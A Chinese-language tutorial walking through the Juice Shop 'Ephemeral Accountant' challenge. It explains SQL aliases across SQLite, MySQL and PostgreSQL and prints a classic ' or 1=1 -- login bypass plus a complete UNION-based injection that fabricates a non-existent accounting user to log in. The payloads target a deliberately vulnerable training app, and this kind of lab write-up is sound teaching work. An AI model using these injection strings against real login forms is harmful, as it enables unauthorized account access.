0x05-SQL注入-構造臨時數據

目錄

今日目標

Ephemeral Accountant.

在這裏插入圖片描述

要求是,登陸一個不存在的用戶賬戶,這個賬戶名稱是 [email protected],職務是 accouting。通過註冊的方式無法完成挑戰,是能通過 SQL 注入的方式,在運行時登陸到這個用戶的賬戶,也就是說,這個用戶的數據並不在數據庫中,是臨時生成的。

先看一下這個挑戰可以讓我們學到哪些東西。

可以學到什麼?

首先,做 SQL 注入到高級的時候會十分的複雜,單純依靠頭腦和紙筆,無法完成這樣的任務。自己搭建一個 SQL 後臺又太麻煩。因此,下面就會給大家推薦一個很好的在線 SQL 模擬器。支持 SQLite,MariaDB,PostgreSQL 等,測試 SQLite 和 MySQL 都沒有問題,同時可以自定義數據表,十分靈活,爲測試提供了很大的便利。

另外,最最大的收穫將會是學習到如何構造臨時(實際不存在的)數據。

好用的 SQL 在線模擬器

推薦兩個,一個是 https://paiza.io/en/languages/mysql,後端是 MySQL。

另一個是 https://sqliteonline.com/,有更多的數據庫支持。

因爲 JuiceShop 後臺使用的 SQLite,在講完 SQLite 之後,我會把相應的 MySQL 對應的操作流程也做出來。

我們需要跟 JuiceShop 一樣的數據來測試,直觀地看到數據的變化。

根據 JuiceShop 中的 Users 表的列名創建一張 Users 表。如何獲取到 Users 表的所有列名看我係列文章的前篇

然後寫入一個測試用戶 Sam。

確保連接上 SQLite 數據庫。

在這裏插入圖片描述

SQLite 版本 Schema。直接複製粘貼到 slqiteonline 執行即可。

# 創建 Users 表
CREATE TABLE Users (
id INT(6) PRIMARY KEY,
username VARCHAR(30) NOT NULL,
email VARCHAR(30) NOT NULL,
password VARCHAR(30) NOT NULL,
role VARCHAR(30) NOT NULL,
deluxeToken VARCHAR(50),
lastLoginIp VARCHAR(50),
profileImage VARCHAR(50),
totpSecret VARCHAR(50),
isActive INT(6),
createdAt DATETIME,
updatedAt DATETIME,
deletedAt DATETIME
);

# 創建測試用戶
INSERT INTO Users (username, email, password,deluxeToken, lastLoginIp, profileImage,totpSecret, isActive, createdAt, updatedAt)
VALUES ('Sam', '[email protected]', 'sam123', 'abcd', '2.2.2.2',  '/profile/sam.svg', 'efgh', 1, DATE(), DATE());

MySQL (mariadb) 版本 Schema。直接複製粘貼到 slqiteonline 執行即可。

# 創建 Users 表
CREATE TABLE Users (
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(30) NOT NULL,
email VARCHAR(30) NOT NULL,
password VARCHAR(30) NOT NULL,
role VARCHAR(30) NOT NULL,
deluxeToken VARCHAR(50),
lastLoginIp VARCHAR(50),
profileImage VARCHAR(50),
totpSecret VARCHAR(50),
isActive INT(6),
createdAt DATETIME,
updatedAt DATETIME,
deletedAt DATETIME
);

# 創建測試用戶
INSERT INTO Users (username, email, password, role, deluxeToken, lastLoginIp, profileImage,totpSecret, isActive, createdAt, updatedAt)
VALUES ('Sam', '[email protected]', 'sam123', 'user', 'abcd', '2.2.2.2',  '/profile/sam.svg', 'efgh', 1, CURDATE(), CURDATE());


# 返回 Sam 用戶
SELECT * FROM Users WHERE email = '[email protected]'
AND password = 'sam123'
AND deletedAt IS NULL;

PostgreSQL 版本 Schema。直接複製粘貼到 slqiteonline 執行即可。

CREATE TABLE Users (
id INT,
username VARCHAR(30) NOT NULL,
email VARCHAR(30) NOT NULL,
password VARCHAR(30) NOT NULL,
role VARCHAR(30) NOT NULL,
deluxeToken VARCHAR(50),
lastLoginIp VARCHAR(50),
profileImage VARCHAR(50),
totpSecret VARCHAR(50),
isActive INT,
createdAt DATE,
updatedAt DATE,
deletedAt DATE
);



INSERT INTO Users (username, email, password, role, deluxeToken, lastLoginIp, profileImage,totpSecret, isActive, createdAt, updatedAt)
VALUES ('Sam', '[email protected]', 'sam123', 'user', 'abcd', '2.2.2.2',  '/profile/sam.svg', 'efgh', 1, CURRENT_DATE, CURRENT_DATE);

接下來就可以執行任意的 SQL 語句了。

SQLite ALIAS 表達式

在開始說臨時數據之前,首先要了解什麼是 SQLite ALIAS 表達式。

SQLite Alias 可以讓用戶臨時替換表名或者列名,簡化輸入。這樣的替換是臨時的,真實的表名和列名不會受到影響。

看下面這個例子。

本例可以在 Tutorialspoint 找到

有下面兩張表,COMPANY 和 DEPARTMENT。

在這裏插入圖片描述

表名映射

表名替換可以用下面的方式實現。這裏,COMPANY 映射爲 CDEPARTMENT 映射成 D,所以在 SELECT 的時候,可以使用 CD 替代掉所有的 COMPANYDEPARTMENT

在這裏插入圖片描述

列名映射

再看一下列名的替換。數據表不變,使用如下方式完成同樣的請求。

相應的,COMPANY 表中的 ID 一列映射爲 COMPANY_IDNAME 一列映射爲 COMPANY_NAME

在這裏插入圖片描述

這個列名的例子沒有給好,兩個列名的映射都沒有用。我們看一下自己測試數據的例子。我用列名映射,將 email 列映射爲 e,然後再 WHERE 條件中即可使用 e 作爲 email 的替換。

在這裏插入圖片描述

這就是 SQLite Alias 映射的作用。

SQLite 如何構造臨時數據?

測試數據有了,我們測試一下用戶數據。

運行

SELECT * from Users WHERE email = '[email protected]' AND password = 'sam123' AND deletedAt IS NULL;

返回當前用戶

在這裏插入圖片描述

先回顧一下最基本的 SQL 注入。

模擬一下繞過登陸驗證的注入,運行

SELECT * from Users WHERE email = '' or 1 = 1 -- AND password = 'sam123' AND deletedAt IS NULL;

返回 Sam 這個用戶,如果有多個用戶,會全部返回

在這裏插入圖片描述

現在,我們看一下如何構造臨時數據。

回想一下上一章節裏面講的 SQLite Alias。SELECT ... AS example 中的 example,相當於內存中臨時創建的一個變量,可以被訪問。

那如果我們寫一個 SELECT 去訪問這個變量呢?

看下面的例子。

在這裏插入圖片描述

返回了 [email protected]。這個 [email protected] 可以是任意 SQL 數據類型。

至此,創建臨時數據的基礎就有了。

使用 SQLite Alias 創建出所有的 Users 表中數據,列名就使用 Users 表中的列名。

然後是用 SELECT * 訪問所有創建的變量。

SELECT * from (SELECT 15 as 'id', '' as 'username', '[email protected]' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt');

將會返回一條 User 記錄。這條數據全靠 Alias 變量生成,不存在於數據庫。這就是我們需要的臨時用戶數據。

在這裏插入圖片描述

MySQL 如何構造臨時數據?

W3C 對 MySQL Alias 做了詳細說明

在這裏插入圖片描述

如果後端是 MySQL,因爲語法方面的原因要注意兩點:

  • 上圖中紅框裏的 AS <alias-name> 要加上,不然會報 Every derived table must have its own alias 的錯誤
  • 紅框裏的 <alias-name 不要加引號,加上引號也會報錯

MariaDB 同上。

大家可以到兩個在線 SQL 模擬器裏自行嘗試。

PostgreSQL 如何構造臨時數據?

在這裏插入圖片描述

PostgreSQL 注意紅框中的兩個地方即可。數據庫特性要求在 UNION 的時候,最好給出值的確切數據類型,不然就會報如下錯誤。

UNION types date and text cannot be matchd

如何利用這個漏洞?

好了,來解決這個問題。

講完了臨時數據的原理,這個挑戰應該很簡單了。要登陸到一個不存在賬戶,就可以用上面講到的構建臨時數據的方式來完成。執行惡意 SQL 之後講返回一個實際不存在的用戶,騙過服務端,完成登陸。

在登陸界面 Email 處填入一下 SQL,即可完成挑戰。

' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', '[email protected]' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')-- 

拆解一下:

  • 第一個單引號 ' 關閉 email 字段的單引號
  • UNION 部分,就是我們之前講的如何構造臨時數據
  • 最後的 --,註釋掉接下來的 SQL 表達式(注意後面跟一個空格)

最後構成的 SQL 如下:

SELECT * FROM Users WHERE email = '' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', '[email protected]' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')-- 

登陸,完成挑戰。


參考鏈接:

  • https://sqliteonline.com/
  • https://www.w3schools.com/php/php_mysql_intro.asp
  • https://www.tutorialspoint.com/sqlite/sqlite_alias_syntax.htm
  • https://www.tutorialspoint.com/sqlite/sqlite_alias_syntax.htm
  • https://www.w3schools.com/sql/sql_alias.asp
  • https://paiza.io/en/languages/mysql
  • https://www.tutorialspoint.com/postgresql/postgresql_create_table.htm
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章